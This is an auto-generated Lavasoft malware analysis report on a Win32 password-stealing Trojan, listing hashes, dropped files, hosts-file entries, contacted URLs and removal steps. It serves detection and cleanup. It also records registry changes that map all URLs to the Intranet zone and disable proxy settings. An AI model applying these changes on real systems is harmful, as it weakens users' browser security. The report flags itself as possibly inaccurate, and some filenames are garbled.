HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Symmi.29067 (B) (Emsisoft), Gen:Variant.Symmi.34745 (AdAware), Trojan-PSW.Win32.MSNPassword.FD, Trojan.Win32.FlyStudio.FD, GenericInjector.YR, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a517430713bac6f46043f06dc6af18b3
SHA1: 2892a9269d7e37e19f8047e03b39bb71f338885c
SHA256: 20891c390f9f41c441621656a349fa9bcde3228f8a12bd908c71f57e1f6085c6
SSDeep: 98304:D/wRWkbdA2UvLH8mRWQpMLio0GoTqvswLd EaMxWz2nJOz8:zwskbddUvLH8mRbo0pTK1B Eaiy2Qz8
Size: 4304896 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Rightapp software
Created at: 2014-06-06 05:24:44
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:1368
Mutexes
The following mutexes were created/opened:
_!SHMSFTHISTORY!_c:!documents and settings!adm!local settings!history!history.ie5!mshist012014070620140707!oleacc-msaa-loadedCTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003ZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutexWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_RasPbFileShimCacheMutex
File activity
The process %original file name%.exe:1368 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\btn_del[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pb_v.min.1.9[1].js (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj.v.5.2[2].js (501 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery-1.6.min[1].js (5296 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.soso[1].txt (187 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\logo_index[1].png (1797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fav[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3F.tmp (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@soso[2].txt (330 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (304 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\link[1].jpg (1190 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\link[1].jpg (2870 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp (3361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\year[1].jsp (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\year[1].jsp (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\button_10[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\qunb[1].htm (258 bytes)
%System%\drivers\etc\hosts (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (606 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@soso[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj.v.5.2[1].js (1785 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\soso[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_icp[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\soso[1] (600 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\icon_index[1].png (440 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.sogou[1].txt (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\q[1].htm (5797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\group[1].png (1 bytes)
C:\¾¢Îèææ-Ψһ¹ÙÃÂø.url (112 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_src[1].png (2623 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\pb_v.min.1.9[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\q[1].se&unc=&query=¾¢Îèææ (5370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\41.tmp (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery-1.6.min[2].js (5776 bytes)
C:\ʹÓñؿ´.txt (4 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (6748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\logo130826[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\soso[1].htm (383 bytes)
C:\VIPææ-¹ºÂòô½Ó.url (166 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\qq[1].htm (229 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\year[1].jsp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery-1.6.min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\pb_v.min.1.9[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013041720130418\index.dat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\soso[1] (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012013041720130418 (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3F.tmp (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@soso[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj.v.5.2[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj_soso.v.1.0[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\41.tmp (0 bytes)
Registry activity
The process %original file name%.exe:1368 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014070620140707]
"CacheRepair" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014070620140707]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014070620140707\"
"CacheOptions" = "11"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014070620140707]
"CachePrefix" = ":2014070620140707:"
"CacheLimit" = "8192"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AF 3C E8 E6 4C 79 99 F9 C5 67 52 BE C7 56 B1 3E"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following registry key(s):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012013041720130418]
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 1206 bytes in size. The following strings are added to the hosts file listed below:
127.0.0.1 | 52jwyy.com |
127.0.0.1 | www.52jwyy.com |
127.0.0.1 | bbs.52jwyy.com |
127.0.0.1 | au2014.com |
127.0.0.1 | www.au2014.com |
127.0.0.1 | 92ausf.com |
127.0.0.1 | www.92ausf.com |
127.0.0.1 | 92jwyy.taobao.com |
127.0.0.1 | shop105942574.taobao.com |
127.0.0.1 | jwyywg.d131.tqxq.com |
127.0.0.1 | www.jwyywg.d131.tqxq.com |
127.0.0.1 | audition0538.i.sohu.com |
127.0.0.1 | www.vdisk.cn/au2012fuzhu |
127.0.0.1 | audition0538.blog.sohu.com |
127.0.0.1 | 9421mm.com |
127.0.0.1 | www.9421mm.com |
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\btn_del[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pb_v.min.1.9[1].js (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj.v.5.2[2].js (501 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery-1.6.min[1].js (5296 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.soso[1].txt (187 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\logo_index[1].png (1797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fav[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3F.tmp (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@soso[2].txt (330 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (304 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\link[1].jpg (1190 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\link[1].jpg (2870 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp (3361 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\year[1].jsp (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\year[1].jsp (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\button_10[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\qunb[1].htm (258 bytes)
%System%\drivers\etc\hosts (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (606 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@soso[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sugg_ajaj.v.5.2[1].js (1785 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\soso[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_icp[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\soso[1] (600 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\icon_index[1].png (440 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.sogou[1].txt (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\q[1].htm (5797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\group[1].png (1 bytes)
C:\¾¢Îèææ-Ψһ¹ÙÃÂø.url (112 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ico_src[1].png (2623 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\pb_v.min.1.9[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\q[1].se&unc=&query=¾¢Îèææ (5370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\41.tmp (1425 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\jquery-1.6.min[2].js (5776 bytes)
C:\ʹÓñؿ´.txt (4 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (6748 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\logo130826[1].png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\soso[1].htm (383 bytes)
C:\VIPææ-¹ºÂòô½Ó.url (166 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\qq[1].htm (229 bytes) - Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: WWW.52JWXX.COM
Product Name: ?????????
Product Version: 8.1.0.0
Legal Copyright: WWW.52JWXX.COM ????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 8.1.0.0
File Description: ?????????
Comments:
Language: English (United States)
Company Name: WWW.52JWXX.COMProduct Name: ?????????Product Version: 8.1.0.0Legal Copyright: WWW.52JWXX.COM ????Legal Trademarks: Original Filename: Internal Name: File Version: 8.1.0.0File Description: ?????????Comments: Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 876526 | 876544 | 5.08395 | 9a47888722edf8f101707893074b64f5 |
.rdata | 880640 | 3245706 | 3248128 | 4.90476 | b471263b00118fa525b1471915027624 |
.data | 4128768 | 268202 | 65536 | 4.24412 | 9fe63150746bcf82ffe894d0c222ac43 |
.rsrc | 4399104 | 106712 | 110592 | 2.53173 | 6f559eb786d8f8a7c4c8fae97c3b23c0 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://b.proxy.sogou.com/ | |
hxxp://blogx.sina.com.cn/s/blog_b61e00f001016mtd.html | |
hxxp://b.proxy.sogou.com/soso/images/logo_index.png | |
hxxp://ctc.a.proxy.sogou.com/websearch/features/year.jsp | |
hxxp://b.proxy.sogou.com/soso/images/icon_index.png | |
hxxp://wpa.qq.com/pa?p=2:1848168177:41 &r=0.6772223338484764 | 112.90.83.87 |
hxxp://b.proxy.sogou.com/js/sugg_ajaj_soso.v.1.0.js | |
hxxp://ssd.tcdn.qq.com/qconn/wpa/button/button_10.gif | |
hxxp://ssd.tcdn.qq.com/wpa/images/group.png | |
hxxp://b.proxy.sogou.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ | |
hxxp://b.proxy.sogou.com/images/btn_del.gif | |
hxxp://proxy.sogou.com/net/a/04/link?&url=http://p4.yokacdn.com/pic/cr/2011/0909/10256772.jpg&appid=100520072&referer=hxxp://www.yokamen.cn/auto/news/2013/0604089097.shtml | |
hxxp://b.proxy.sogou.com/images/ico_src.png | |
hxxp://b.proxy.sogou.com/images/logo/new/soso.png?nv=1&v=2 | |
hxxp://06811.xdwscache.glb0.lxdns.com/30d/img/web/logo130826.png | |
hxxp://b.proxy.sogou.com/js/jquery-1.6.min.js | |
hxxp://b.proxy.sogou.com/images/ico_icp.gif | |
hxxp://ctc.a.proxy.sogou.com/img/fav.ico?6be69b4a-b962-42eb-8324-0d6d8e367010 | |
hxxp://b.proxy.sogou.com/js/pb_v.min.1.9.js | |
hxxp://proxy.sogou.com/net/a/04/link?&url=http://www.pvc123.com/skin/pvc/image/company.jpg&appid=100520072&referer=hxxp://www.pvc123.com/b-p765576731/ | |
hxxp://b.proxy.sogou.com/js/sugg_ajaj.v.5.2.js | |
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=web&uigs_t=1404660989708240&uigs_cookie=SUID=26266BB86914920A0000000053B9B257&uigs_uuid=1404660989708379&scrnwi=1024&scrnhi=768&uigs_pbtag=A&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&rn=25687&stype=2&htn=1&qcn=0&hbn=0&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&exp_id=null_0-null_1-null_2-null_3-null_4-null_5-null_6-null_7-null_8-null_9&exp_id_list=0_0&exp_status=0&vrdetail=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&sm=d0_0-d0_1-d0_2-d0_3-d0_4-d0_5-d0_6-d0_7-d0_8-d0_9&msrc=sm&loc=CA&adn=0&adltbn=null&adltan=0&radn=0&qflag=0&qtype=0&warnLevel=127&leadtest=-1&eg=1&cost=116&bl=-1_127_0_0&pid=sogou-wsse-142c65e00f4f7cf2&qjf=sogou-wsse-142c65e00f4f7cf2&servuri=%2Fwebsearch%2Fsoso.jsp&rw=&idc=cnc&pn=10&jhhint=0&jhshuxing=0&intcat=web&inttab=61-0_40-1_28-2_41-3_39-4_43-5_9-6_29-7_30-8_45-9_62-10_&jhly=top&jhlysite=all-0_sohu.com-1_focus.cn-2_docin.com-3_&legalad=1&googlead=0&uigs_version=v1.1&uigs_refer=http://www.soso.com/ | |
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=webapp&type=tmon&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&loc=CA&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&eg=1&cost=116&idc=cnc&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&h_s=1404660985943&h_e=1404660986568&b_e=1404660988755&a_e=1404660990302&w_l=1404660990333 | |
hxxp://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=¾¢Îèææ | 220.181.124.154 |
hxxp://img02.store.sogou.com/net/a/04/link?&url=http://www.pvc123.com/skin/pvc/image/company.jpg&appid=100520072&referer=hxxp://www.pvc123.com/b-p765576731/ | 106.120.151.64 |
hxxp://pb.sogou.com/pv.gif?uigs_productid=webapp&type=tmon&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&loc=CA&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&eg=1&cost=116&idc=cnc&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&h_s=1404660985943&h_e=1404660986568&b_e=1404660988755&a_e=1404660990302&w_l=1404660990333 | 220.181.124.109 |
hxxp://www.soso.com/ | 220.181.124.154 |
hxxp://www.soso.com/js/sugg_ajaj_soso.v.1.0.js | 220.181.124.154 |
hxxp://www.soso.com/soso/images/icon_index.png | 220.181.124.154 |
hxxp://www.sogou.com/websearch/features/year.jsp | 218.30.103.111 |
hxxp://www.soso.com/images/ico_src.png | 220.181.124.154 |
hxxp://www.sogou.com/img/fav.ico?6be69b4a-b962-42eb-8324-0d6d8e367010 | 218.30.103.111 |
hxxp://img04.store.sogou.com/net/a/04/link?&url=http://p4.yokacdn.com/pic/cr/2011/0909/10256772.jpg&appid=100520072&referer=hxxp://www.yokamen.cn/auto/news/2013/0604089097.shtml | 220.181.124.3 |
hxxp://www.soso.com/js/jquery-1.6.min.js | 220.181.124.154 |
hxxp://www.soso.com/js/sugg_ajaj.v.5.2.js | 220.181.124.154 |
hxxp://www.soso.com/images/logo/new/soso.png?nv=1&v=2 | 220.181.124.154 |
hxxp://pub.idqqimg.com/qconn/wpa/button/button_10.gif | 103.7.30.59 |
hxxp://www.soso.com/images/btn_del.gif | 220.181.124.154 |
hxxp://soso.qstatic.com/30d/img/web/logo130826.png | 8.37.231.19 |
hxxp://pub.idqqimg.com/wpa/images/group.png | 103.7.30.59 |
hxxp://www.soso.com/js/pb_v.min.1.9.js | 220.181.124.154 |
hxxp://www.soso.com/soso/images/logo_index.png | 220.181.124.154 |
hxxp://blog.sina.com.cn/s/blog_b61e00f001016mtd.html | 218.30.115.254 |
hxxp://www.soso.com/images/ico_icp.gif | 220.181.124.154 |
hxxp://pb.sogou.com/pv.gif?uigs_productid=web&uigs_t=1404660989708240&uigs_cookie=SUID=26266BB86914920A0000000053B9B257&uigs_uuid=1404660989708379&scrnwi=1024&scrnhi=768&uigs_pbtag=A&abtestid=0&query=%C2%BE%C2%A2%C3%8E%C3%A8%C3%90%C2%A6%C3%90%C2%A6&rn=25687&stype=2&htn=1&qcn=0&hbn=0&uuid=6be69b4a-b962-42eb-8324-0d6d8e367010&vr=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&exp_id=null_0-null_1-null_2-null_3-null_4-null_5-null_6-null_7-null_8-null_9&exp_id_list=0_0&exp_status=0&vrdetail=null_0-null_1-null_2-30000909_3-30000909_4-null_5-null_6-null_7-null_8-null_9&sm=d0_0-d0_1-d0_2-d0_3-d0_4-d0_5-d0_6-d0_7-d0_8-d0_9&msrc=sm&loc=CA&adn=0&adltbn=null&adltan=0&radn=0&qflag=0&qtype=0&warnLevel=127&leadtest=-1&eg=1&cost=116&bl=-1_127_0_0&pid=sogou-wsse-142c65e00f4f7cf2&qjf=sogou-wsse-142c65e00f4f7cf2&servuri=%2Fwebsearch%2Fsoso.jsp&rw=&idc=cnc&pn=10&jhhint=0&jhshuxing=0&intcat=web&inttab=61-0_40-1_28-2_41-3_39-4_43-5_9-6_29-7_30-8_45-9_62-10_&jhly=top&jhlysite=all-0_sohu.com-1_focus.cn-2_docin.com-3_&legalad=1&googlead=0&uigs_version=v1.1&uigs_refer=http://www.soso.com/ | 220.181.124.109 |
www.hookbug.com | 183.60.204.213 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET / HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
